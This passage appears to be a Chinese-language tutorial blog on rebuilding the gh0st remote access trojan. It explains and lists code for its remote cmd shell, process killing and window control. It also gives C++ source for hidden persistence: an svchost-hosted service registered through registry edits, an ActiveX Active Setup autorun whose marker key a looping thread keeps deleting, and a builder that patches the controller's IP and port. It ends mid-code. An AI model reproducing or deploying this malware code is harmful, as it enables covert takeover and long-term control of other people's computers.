控制服务端的NotifyProc函数接收到消息后,调用ProcessReceiveComplete函数,先进行判断功能对应的对话框是否开启,然后进入下面的case判断,进入TOKEN_SHELL_START,会发送一个自定义的消息,触发相应的消息处理函数OnOpenShellDialog,创建了我们的CShellDlg类变量,并且对pContext的m_Dialog付了值,代表控制端的终端对话框已经准备就绪。
我们进入CShellDlg的具体实现,看看其构造函数和初始化函数,构造函数就是初始化pIOCPServer和pContext,初始化函数中会向客户端发送一个COMMAND_NEXT消息。
CShellManager类中的OnReceive()会接收到这个消息(经过WorkThread中的处理不变),然后设置m_hEventDlgOpen事件,代表控制服务端的对话框准备就绪,WaitForDialogOpen()调用成功。
然后创建两个线程,一个是读取管道数据,一个是等待管道关闭线程。
ReadPipeThread线程会判断当前管道是否有消息,有就会读取管道消息,然后发送给控制服务端。
经过控制服务端的ProcessReceiveComplete后,因为终端管理对话框已经打开,所以pContext->m_Dialog[0]里面是有值的,case找到对应的功能对话框,然后调用起处理函数,这里是OnReceiveComplete。
OnReceiveComplete调用AddKeyBoardData,将传入的字符串进行处理显示在EDIT控件中。
上面的过程就是终端管理整个初始化的过程了,还是非常复杂,但是十分健全。
下面来讲解如何执行命令。
因为发送终端命令都需要一个换行符,所以我们可以通过截取键盘消息的方式来实现,CDialog提供了一个虚函数PreTranslateMessage,可以来作为截取键盘,我们在CShellDlg中对这个虚函数进行重载。
需要对特定消息进行截取,然后采取不同措施,例如如果是回车键,就发送命令,如果是回退键,判断当前编辑字符串长度超过了之前命令的长度,然后采取不同措施。
发送命令后,客户端的OnReceive接收到命令字符串,写入管道,cmd.exe就会执行命令,产生的回显会输出到输出管道。
ReadPipeThread线程会判断当前管道是否有消息,有就会读取管道消息,然后发送给控制服务端。
当然实际上还有很多细节的地方,比如说对传输数据的处理,就不过多阐述。
精彩代码 我们控制端的编辑窗口和cmd控制台一模一样,得益于其代码的完整,对接收到数据的处理,以及对我们的输入,都有严格的处理。
part6-进程管理 教程里面是将进程管理和窗口管理的客户端类和控制服务端的对话框类写在了两个cpp中,但是个人感觉分开写两个功能会更好,于是将其分开了。
进程监控原理 就是通过https://the_itach1.gitee.io/2022/01/31/Windows-Hack-Programming/ 中的进程遍历,当然gh0st中的代码更加完善,健全。
客户端CProcessManager.cpp 这个类就是用来监视进程的,其中.h文件如下,具体实现就是自己分析代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #if _MSC_VER > 1000 #pragma once #endif #include "Manager.h" class CProcessManager : public CManager{ public : CProcessManager(CClientSocket* pClient, BYTE bHow); virtual ~CProcessManager(); virtual void OnReceive (LPBYTE lpBuffer, UINT nSize) ; static bool DebugPrivilege (const char * PName, BOOL bEnable) ; private : BYTE m_caseSystemIs; BOOL GetProcessFullPath (DWORD dwPID, TCHAR pszFullPath[MAX_PATH]) ; BOOL DosPathToNtPath (LPTSTR pszDosPath, LPTSTR pszNtPath) ; LPBYTE getProcessList () ; void SendProcessList () ;; void SendDialupassList () ; void KillProcess (LPBYTE lpBuffer, UINT nSize) ; };
控制服务端CProcessDlg.cpp 一个处理进程信息的对话框,包含了一个list控件和菜单。
.h文件如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #pragma once #include "afxcmn.h" #include "include/IOCPServer.h" class CProcessDlg : public CDialog{ DECLARE_DYNAMIC(CProcessDlg) public : CProcessDlg(CWnd* pParent = NULL , CIOCPServer* pIOCPServer = NULL , ClientContext* pContext = NULL ); virtual ~CProcessDlg(); #ifdef AFX_DESIGN_TIME enum { IDD = IDD_PROCESS }; #endif protected : virtual void DoDataExchange (CDataExchange* pDX) ; DECLARE_MESSAGE_MAP() public : CListCtrl m_list_process; private : HICON m_hIcon; ClientContext* m_pContext; CIOCPServer* m_iocpServer; BOOL m_bHow; public : afx_msg void OnClose () ; afx_msg void OnSize (UINT nType, int cx, int cy) ; virtual BOOL OnInitDialog () ; void ShowProcessList (void ) ; void AdjustList () ; void OnReceiveComplete (void ) ; private : void GetProcessList (void ) ; public : afx_msg void OnNMRClickListProcess (NMHDR* pNMHDR, LRESULT* pResult) ; afx_msg void OnProcessKill () ; afx_msg void OnProcessRefresh () ; };
数据传输过程 还是来理一遍数据的传输过程,之前在shell管理已经讲过部分传输过程,所以下面某些过程会略讲。
肉鸡上线后,我们点击进程管理,进入OnOnlineProcess(),然后,调用SendSelectCommand(),发送COMMAND_PROCESS到客户端。
客户端OnReceive接收到消息,创建Loop_ProcessManager线程,创建一个CClientSocket,连接控制服务端,然后创建一个CProcessManager类。
进入CProcessManager类的构造函数,判断接收的命令是COMMAND_PROCESS,调用SendProcessList()函数。
SendProcessList()中,调用getProcessList()获取了数据,其过程中会写上数据头TOKEN_PSLIST,然后发送给控制服务端。
控制服务端ProcessReceiveComplete()接收到消息,先判断Process管理的对话框是否打开,现在肯定没有打开,就会触发下面的case TOKEN_PSLIST,从而触发自定义消息函数OnOpenProcessDialog,打开进程管理的对话框。
进入对话框的初始化过程,大概就是初始化一些变量,设置标题,图标,然后初始化list控件,然后调用ShowProcessList()在list控件中展示进程数据。
上面的过程就是进程管理的初始化过程,下面来讲解控制服务端发送刷新命令的数据传输过程。
控制服务端调用OnProcessRefresh()消息函数,其先判断lsit控件是否存在,然后调用GetProcessList()函数。
GetProcessList()函数向客户端发送COMMAND_PSLIST命令。
客户端的OnReceive()函数接收到COMMAND_PSLIST,调用SendProcessList()函数
SendProcessList()中,调用getProcessList()获取了数据,其过程中会写上数据头TOKEN_PSLIST,然后发送给控制服务端。
控制服务端ProcessReceiveComplete()接收到消息,这时进程对话框已经打开,所以会调用CProcessDlg的OnReceiveComplete函数,然后case TOKEN_PSLIST,调用ShowProcessList()展示数据。
杀死进程的过程
调用OnProcessKill(),根据选中的行号得到选中一个或多个进程的pid信息,写上COMMAND_KILLPROCESS,发送给客户端。
客户端的OnReceive()函数接收到COMMAND_KILLPROCESS,进行提权,然后根据pid杀死进程,然后调用SendProcessList()函数。
调用SendProcessList()函数就会刷新控制服务端的对话框的list控件了。
part7-窗口管理 其功能由CWindowsManager.cpp和CWindowsDlg.cpp两个文件实现。实际上其数据传输过程,包括对话框的设计和菜单的实现都和进程管理差不多,但是在获取窗口数据和一些菜单功能的实现代码还是和进程管理有很大的差别。
窗口管理原理 其获取窗口的数据主要是靠EnumWindows,一直枚举顶层窗口,我们需要设置一个回调函数EnumWindowsProc来获取枚举的窗口的一些信息,主要是窗口标题和PID和其显示状态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 bool CALLBACK CWindowsManager::EnumWindowsProc (HWND hwnd, LPARAM lParam) { DWORD dwLength = 0 ; DWORD dwOffset = 0 ; DWORD dwProcessID = 0 ; LPBYTE lpBuffer = *(LPBYTE*)lParam; char strTitle[1024 ]; memset (strTitle, 0 , sizeof (strTitle)); if (IsWindowVisible(hwnd)) return true ; GetWindowTextSafe(hwnd, strTitle, sizeof (strTitle)); if (lstrlen(strTitle) == 0 ) { OutputDebugString("lstrlen" ); return true ; } if (lpBuffer == NULL ) lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 ); dwLength = sizeof (DWORD) + lstrlen(strTitle) + 1 ; dwOffset = LocalSize(lpBuffer); lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE); GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset)); memcpy ((lpBuffer + dwOffset), &hwnd, sizeof (DWORD)); memcpy (lpBuffer + dwOffset + sizeof (DWORD), strTitle, lstrlen(strTitle) + 1 ); *(LPBYTE*)lParam = lpBuffer; return true ; }
然后在来看看其如何实现的关闭,显示,最大化,最小化窗口。
关闭,先提权,然后
PostMessage((HWND__*)hwnd, WM_CLOSE, 0, 0);
显示,最大化,最小化
主要是看控制服务端传过来的第二个参数是什么
ShowWindow((HWND__*)hwnd, dHow);
控制服务端CWindowsDlg.cpp 其.h文件如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #pragma once #include "afxcmn.h" #include "include/IOCPServer.h" class CWindowsDlg : public CDialog{ DECLARE_DYNAMIC(CWindowsDlg) public : CWindowsDlg(CWnd* pParent = NULL , CIOCPServer* pIOCPServer = NULL , ClientContext* pContext = NULL ); virtual ~CWindowsDlg(); #ifdef AFX_DESIGN_TIME enum { IDD = IDD_WINDOWS }; #endif protected : virtual void DoDataExchange (CDataExchange* pDX) ; DECLARE_MESSAGE_MAP() public : CListCtrl m_list_windows; private : HICON m_hIcon; ClientContext* m_pContext; CIOCPServer* m_iocpServer; BOOL m_bHow; public : afx_msg void OnClose () ; afx_msg void OnSize (UINT nType, int cx, int cy) ; void AdjustList (void ) ; virtual BOOL OnInitDialog () ; void OnReceiveComplete (void ) ; void ShowWindowsList (void ) ; afx_msg void OnNMRClickListWindows (NMHDR* pNMHDR, LRESULT* pResult) ; afx_msg void OnWindowsClose () ; afx_msg void OnWindowsHide () ; afx_msg void OnWindowsMax () ; afx_msg void OnWindowsMin () ; afx_msg void OnWindowsReturn () ; afx_msg void OnWindowsReflush () ; void GetWindowsList (void ) ; };
客户端CWindowsManager.cpp 其.h文件入下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #if _MSC_VER > 1000 #pragma once #endif #include "Manager.h" class CWindowsManager : public CManager{ public : CWindowsManager(CClientSocket* pClient, BYTE bHow); virtual ~CWindowsManager(); virtual void OnReceive (LPBYTE lpBuffer, UINT nSize) ; static bool DebugPrivilege (const char * PName, BOOL bEnable) ; static bool CALLBACK EnumWindowsProc (HWND hwnd, LPARAM lParam) ; static void ShutdownWindows (DWORD dwReason) ; private : BYTE m_caseSystemIs; LPBYTE getWindowsList () ; void SendWindowsList () ; void SendDialupassList () ; void ShowTheWindow (LPBYTE buf) ; void CloseTheWindow (LPBYTE buf) ; };
数据传输 和进程管理都差不多,只是数据头发生了变换,就不在详细论述了。
part8-文件管理 part9-音频管理 part10-摄像头视频管理 part11-服务管理 前提需要管理员权限
part12-注册表管理 前提需要管理员权限
part13-客户端的启动管理 资源加载 之前也弄过读取资源的代码,但是一直没成功,现在发现是没有将资源添加进项目的原因。
导入资源,添加资源到项目,然后调用加载资源的那几个函数就ok了。
几个函数
FindResource,寻找资源
SizeofResource,获得资源的大小
LoadResource,加载资源数据
LockResource,复制资源到申请的空间。
例子,将我们的dll创建到d盘下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #include <Windows.h> #include "resource.h" bool CreateMyFile (char * strFilePath, LPBYTE lpBuffer, DWORD dwSize) { DWORD dwWritten; HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0 , NULL , CREATE_ALWAYS, 0 , NULL ); if (hFile != NULL ) { WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL ); } else { return false ; } CloseHandle(hFile); return true ; } bool CreateEXE (char * strFilePath, int nResourceID, char * strResourceName) { HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize; LPBYTE p; hResInfo = FindResource(NULL , MAKEINTRESOURCE(nResourceID), strResourceName); if (hResInfo == NULL ) { return false ; } dwSize = SizeofResource(NULL , hResInfo); hResData = LoadResource(NULL , hResInfo); if (hResData == NULL ) { return false ; } p = (LPBYTE)GlobalAlloc(GPTR, dwSize); if (p == NULL ) { return false ; } CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); bool bRet = CreateMyFile(strFilePath, p, dwSize); if (!bRet) { GlobalFree((HGLOBAL)p); return false ; } GlobalFree((HGLOBAL)p); return true ; } int main () { CreateEXE((char *)"D:\\123.dll" , IDR_DLL, (char *)"DLL" ); return 0 ; }
添加服务 无论是《逆向工程核心原理》还是《黑客编程》里面都有如何添加服务的例子,需要用到的函数。
SC_HANDLE WINAPI OpenSCManager( //建立一个连接到服务控制管理器,并打开指定的数据库。
__in LPCTSTR lpMachineName, //指向零终止字符串,命名为目标计算机。
__in LPCTSTR lpDatabaseName, //指向零终止字符串,名称的服务控制管理数据库,以开放。
__in DWORD dwDesiredAccess //指定服务的访问控制管理。
);
SC_HANDLE WINAPI CreateService( //创建一个服务对象并且把它加入到服务管理数据库中
SC_HANDLE hSCManager, //服务控制管理程序维护的登记数据库的句柄,由系统函数OpenSCManager 返回 **
LPCTSTR lpServiceName, //以NULL 结尾的服务名,用于创建登记数据库中的关键字 **
LPCTSTR lpDisplayName, //以NULL 结尾的服务名,用于用户界面标识服务 **
DWORD dwDesiredAccess, //指定服务返回类型
DWORD dwServiceType, //指定服务类型
DWORD dwStartType, //指定何时启动服务
DWORD dwErrorControl, //指定服务启动失败的严重程度
LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径 **
LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名
LPDWORD lpdwTagId, //忽略,NULL
LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组
LPCTSTR lpServiceStartName, //以NULL 结尾的字符串,指定服务帐号。如是NULL,则表示使用LocalSystem 帐号
LPCTSTR lpPassword //以NULL 结尾的字符串,指定对应的口令。为NULL表示无口令。但使用LocalSystem时填NULL
);
BOOL WINAPI CloseServiceHandle( //关闭服务器管理器
__in SC_HANDLE hSCObject 服务器句柄
);
这就是创建一个服务的基本过程。
接下来就是如何利用SVCHOST.exe启动服务,来达到一个长期驻留的过程,其方法就是修改注册表。
找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,打开子健项netsvcs,遍历数据,返回一个未有的服务名称,并添加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 char * AddsvchostService () { char * lpServiceName = NULL ; int rc = 0 ; HKEY hkRoot; char buff[2048 ]; char * ptr; char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" ; rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0 , KEY_ALL_ACCESS, &hkRoot); if (ERROR_SUCCESS != rc) return NULL ; DWORD type, size = sizeof buff; rc = RegQueryValueEx(hkRoot, "netsvcs" , 0 , &type, (unsigned char *)buff, &size); SetLastError(rc); if (ERROR_SUCCESS != rc) RegCloseKey(hkRoot); int i = 0 ; bool bExist = false ; char servicename[50 ]; do { wsprintf(servicename, "netsvcs_0x%d" , i); for (ptr = buff; *ptr; ptr = strchr (ptr, 0 ) + 1 ) { if (lstrcmpi(ptr, servicename) == 0 ) { bExist = true ; break ; } } if (bExist == false ) break ; bExist = false ; i++; } while (1 ); servicename[lstrlen(servicename) + 1 ] = '\0' ; memcpy (buff + size - 1 , servicename, lstrlen(servicename) + 2 ); rc = RegSetValueEx(hkRoot, "netsvcs" , 0 , REG_MULTI_SZ, (unsigned char *)buff, size + lstrlen(servicename) + 1 ); RegCloseKey(hkRoot); SetLastError(rc); if (bExist == false ) { lpServiceName = new char [lstrlen(servicename) + 1 ]; lstrcpy(lpServiceName, servicename); } return lpServiceName; }
上面的代码会出错,就是我们读取不到netsvcs子健项的值,原因是因为我们的操作系统是windows64位的,发生了注册表重定位,所以需要加上KEY_WOW64_64KEY。
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS| KEY_WOW64_64KEY, &hkRoot);
然后就是向子健HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,添加一个我们的服务的子健了,包含了服务的基本信息,服务名,服务描述,程序路径。然后继续在下面添加子健Parameters,新建子健项ServiceDll,写入dll的全路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 int ServerSetup () { char lpServiceDescription[] = "The_Itach1服务" ; char strModulePath[MAX_PATH]; char strSysDir[MAX_PATH]; char strSubKey[1024 ]; DWORD dwStartType = 0 ; char strRegKey[1024 ]; int rc = 0 ; HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0 ; SC_HANDLE hscm = NULL , schService = NULL ; hscm = OpenSCManager(NULL , NULL , SC_MANAGER_ALL_ACCESS); GetSystemDirectory(strSysDir, sizeof (strSysDir)); char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" ; char * lpServiceName = AddsvchostService(); char lpServiceDisplayName[128 ] = { 0 }; wsprintf(lpServiceDisplayName, "%s_ms," , lpServiceName); memset (strModulePath, 0 , sizeof (strModulePath)); wsprintf(strModulePath, "%s\\%sex.dll" , "D:\\" , lpServiceName); wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s" , lpServiceName); schService = CreateService( hscm, lpServiceName, lpServiceDisplayName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, bin, NULL , NULL , NULL , NULL , NULL ); dwStartType = SERVICE_WIN32_OWN_PROCESS; if (schService == NULL ) { throw "CreateService(Parameters)" ; printf ("schServicenull" ); } CloseServiceHandle(schService); CloseServiceHandle(hscm); hkRoot = HKEY_LOCAL_MACHINE; wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s" , lpServiceName); if (dwStartType == SERVICE_WIN32_SHARE_PROCESS) { DWORD dwServiceType = 0x120 ; WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type" , REG_DWORD, (char *)&dwServiceType, sizeof (DWORD), 0 ); } WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description" , REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0 ); lstrcat(strSubKey, "\\Parameters" ); WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll" , REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0 ); if (schService != NULL ) { CreateEXE(strModulePath, IDR_DLL, (char *)"DLL" ); StartService(lpServiceName); } RegCloseKey(hkRoot); RegCloseKey(hkParam); CloseServiceHandle(schService); CloseServiceHandle(hscm); system("pause" ); return 0 ; }
然后就完成了,但是很遗憾,免杀肯定是过不了的,首先,修改HKEY_LOCAL_MACHINE的注册表,需要管理员权限,其次,修改注册表的过程肯定会被各种杀毒软件检测,包括代码中有将dll保存在c盘下的操作,现在肯定是不行了,管理员权限都不能随便修改c盘下的文件,其次文件一旦保存到磁盘中,肯定是会被杀毒软件检测出来。
修改DLL,测试上线 一般服务进程和我们普通exe不一样,需要有一个特殊的main函数入口,实际上就是一套代码,网上也有很多。
记得删除原本的dllmain函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 int TellSCM (DWORD dwState, DWORD dwExitCode, DWORD dwProgress) { SERVICE_STATUS srvStatus; srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; srvStatus.dwCurrentState = g_dwCurrState = dwState; srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; srvStatus.dwWin32ExitCode = dwExitCode; srvStatus.dwServiceSpecificExitCode = 0 ; srvStatus.dwCheckPoint = dwProgress; srvStatus.dwWaitHint = 1000 ; return SetServiceStatus(hServiceStatus, &srvStatus); } void __stdcall ServiceHandler (DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: TellSCM(SERVICE_STOP_PENDING, 0 , 1 ); Sleep(10 ); TellSCM(SERVICE_STOPPED, 0 , 0 ); break ; case SERVICE_CONTROL_PAUSE: TellSCM(SERVICE_PAUSE_PENDING, 0 , 1 ); TellSCM(SERVICE_PAUSED, 0 , 0 ); break ; case SERVICE_CONTROL_CONTINUE: TellSCM(SERVICE_CONTINUE_PENDING, 0 , 1 ); TellSCM(SERVICE_RUNNING, 0 , 0 ); break ; case SERVICE_CONTROL_INTERROGATE: TellSCM(g_dwCurrState, 0 , 0 ); break ; } } extern "C" __declspec(dllexport) void ServiceMain (int argc, wchar_t * argv[]) { strncpy (svcname, (char *)argv[0 ], sizeof svcname); wcstombs(svcname, argv[0 ], sizeof svcname); hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler); if (hServiceStatus == NULL ) { return ; } else FreeConsole(); TellSCM(SERVICE_START_PENDING, 0 , 1 ); TellSCM(SERVICE_RUNNING, 0 , 0 ); g_dwServiceType = QueryServiceTypeFromRegedit(svcname); HANDLE hThread = MyCreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0 , NULL ); do { Sleep(100 ); } while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); if (g_dwServiceType == 0x120 ) { while (1 ) Sleep(10000 ); } return ; }
记得修改端口和ip。
不知什么原因,现在已经无法正常启动服务,猜测和window10系统有关,不过也没什么关系。
part14-ActiveX启动 同样有缺陷,实现原理还是修改注册表,然后需要管理员权限。
实现原理 修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\,添加一个键,构造AX启动某一软件。
由于我们使用的是dll文件,所以需要用到rundll32.exe来调用我们dll里面的导出函数。
但是会出现两个问题。
程序启动,系统卡住
重新启动两次,程序无法启动。
重新启动后,显示缺少dll模块,未解决。
主要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 BOOL GetNUM (char * num) { CoInitialize(NULL ); char buf[64 ] = { 0 }; GUID guid; if (S_OK == ::CoCreateGuid(&guid)) { _snprintf(buf, sizeof (buf) , "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" , guid.Data1 , guid.Data2 , guid.Data3 , guid.Data4[0 ], guid.Data4[1 ] , guid.Data4[2 ], guid.Data4[3 ], guid.Data4[4 ], guid.Data4[5 ] , guid.Data4[6 ], guid.Data4[7 ] ); } CoUninitialize(); memcpy (num, buf, 64 ); return TRUE; } void ActiveXSetup () { HKEY hKey; char strFileName[MAX_PATH]; char ActivexStr[1024 ]; char ActiveXPath[MAX_PATH]; char ActiveXKey[64 ]; char strCmdLine[MAX_PATH]; ZeroMemory(strFileName, MAX_PATH); ZeroMemory(ActiveXPath, MAX_PATH); ZeroMemory(ActivexStr, 1024 ); ZeroMemory(ActiveXKey, 64 ); ZeroMemory(strCmdLine, MAX_PATH); strcpy (ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\" ); GetNUM(ActiveXKey); GetSystemDirectory(strFileName, MAX_PATH); strcat (strFileName, "\\" ); strcat (strFileName, ActiveXKey); strcat (strFileName, ".dll" ); sprintf (ActivexStr, "%s%s" , ActiveXPath, ActiveXKey); RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey); sprintf (strCmdLine, "%s %s,FirstRun" , "rundll32.exe" , strFileName); RegSetValueEx(hKey, "stubpath" , 0 , REG_EXPAND_SZ, (BYTE*)strCmdLine, lstrlen(strCmdLine)); RegCloseKey(hKey); CreateEXE(strFileName, IDR_DLL, (char *)"DLL" ); STARTUPINFO StartInfo; PROCESS_INFORMATION ProcessInformation; StartInfo.cb = sizeof (STARTUPINFO); StartInfo.lpDesktop = NULL ; StartInfo.lpReserved = NULL ; StartInfo.lpTitle = NULL ; StartInfo.dwFlags = STARTF_USESHOWWINDOW; StartInfo.cbReserved2 = 0 ; StartInfo.lpReserved2 = NULL ; StartInfo.wShowWindow = SW_SHOWNORMAL; BOOL bReturn = CreateProcess(NULL , strCmdLine, NULL , NULL , FALSE, NULL , NULL , NULL , &StartInfo, &ProcessInformation); return ; }
解决问题一 采用双导出函数解决,给dll添加两个导出函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 extern "C" __declspec(dllexport) void MainRun (HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow) { HANDLE hThread = MyCreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0 , NULL ); WaitForSingleObject(hThread, INFINITE); } extern "C" __declspec(dllexport) void FirstRun (HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow) { char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH]; ZeroMemory(strMyFileName, MAX_PATH); ZeroMemory(strCmdLine, MAX_PATH); GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH); sprintf (strCmdLine, "%s %s,MainRun" , "rundll32.exe" , strMyFileName); STARTUPINFO StartInfo; PROCESS_INFORMATION ProcessInformation; StartInfo.cb = sizeof (STARTUPINFO); StartInfo.lpDesktop = NULL ; StartInfo.lpReserved = NULL ; StartInfo.lpTitle = NULL ; StartInfo.dwFlags = STARTF_USESHOWWINDOW; StartInfo.cbReserved2 = 0 ; StartInfo.lpReserved2 = NULL ; StartInfo.wShowWindow = SW_SHOWNORMAL; BOOL bReturn = CreateProcess(NULL , strCmdLine, NULL , NULL , FALSE, NULL , NULL , NULL , &StartInfo, &ProcessInformation); }
解决问题二 这个问题的产生是因为,我们在添加键的同时,HKEY_CURRENT_USER\SOFTWARE\Microsoft\Active Setup\Installed Components下同样会产生一个项,导致了我们无法启动程序。
解决方法,创建一个线程不断删除这个项,需要解决如何找到这个项名称的问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 DWORD WINAPI DelAXRegThread (LPVOID lpParam) { char strFileName[MAX_PATH]; char * pstrTemp = NULL ; char ActiveXStr[1024 ]; ZeroMemory(ActiveXStr, 1024 ); ZeroMemory(strFileName, MAX_PATH); GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH); PathStripPath(strFileName); pstrTemp = strstr (strFileName, ".dll" ); if (pstrTemp != NULL ) { ZeroMemory(pstrTemp, strlen (pstrTemp)); sprintf (ActiveXStr, "%s%s" , "Software\\Microsoft\\Active Setup\\Installed Components\\" , strFileName); while (1 ) { RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr); OutputDebugString(ActiveXStr); Sleep(1000 * 30 ); } } return 0 ; }
然后添加线程
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
解决问题三 估计是windows下c盘的文件保护机制,虽然我们添加了文件,但是重启后,文件就会不存在。
part15-生成客户端 这部分主要是为了我们修改ip时不用再去修改dll的代码,直接利用Loder.exe,遍历其内存,找到ip和端口结构体的地址,然后修改,然后重新生成一个exe。
怎么说比较鸡肋。
然后这里为了方便,我直接修改了原来的设置对话框,添加了修改ip的编辑框,然后生成server.exe的对话框就是直接从ini配置文件中获取ip和port。
CCreatServerDlg.cpp,添加了一个OnInitDialog对编辑框里面的内容进行初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #include "pch.h" #include "MyRemote.h" #include "CCreatServerDlg.h" #include "afxdialogex.h" #include "IniFile.h" IMPLEMENT_DYNAMIC(CCreatServerDlg, CDialogEx) struct Connect_Address { DWORD dwstact; char strIP[MAX_PATH]; int nPort; }g_myAddress = { 0x1234567 ,"" ,0 }; CCreatServerDlg::CCreatServerDlg(CWnd* pParent ) : CDialogEx(IDD_CREAT_SERVER, pParent) { } CCreatServerDlg::~CCreatServerDlg() { } void CCreatServerDlg::DoDataExchange (CDataExchange* pDX) { CDialogEx::DoDataExchange(pDX); DDX_Control(pDX, IDC_EDIT_CLIENT_IP, m_strIp); DDX_Control(pDX, IDC_EDIT_CLIENT_PORT, m_strPort); } BEGIN_MESSAGE_MAP(CCreatServerDlg, CDialogEx) ON_BN_CLICKED(IDOK, &CCreatServerDlg::OnBnClickedOk) END_MESSAGE_MAP() BOOL CCreatServerDlg::OnInitDialog () { CDialogEx::OnInitDialog(); nIp = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetString("Settings" , 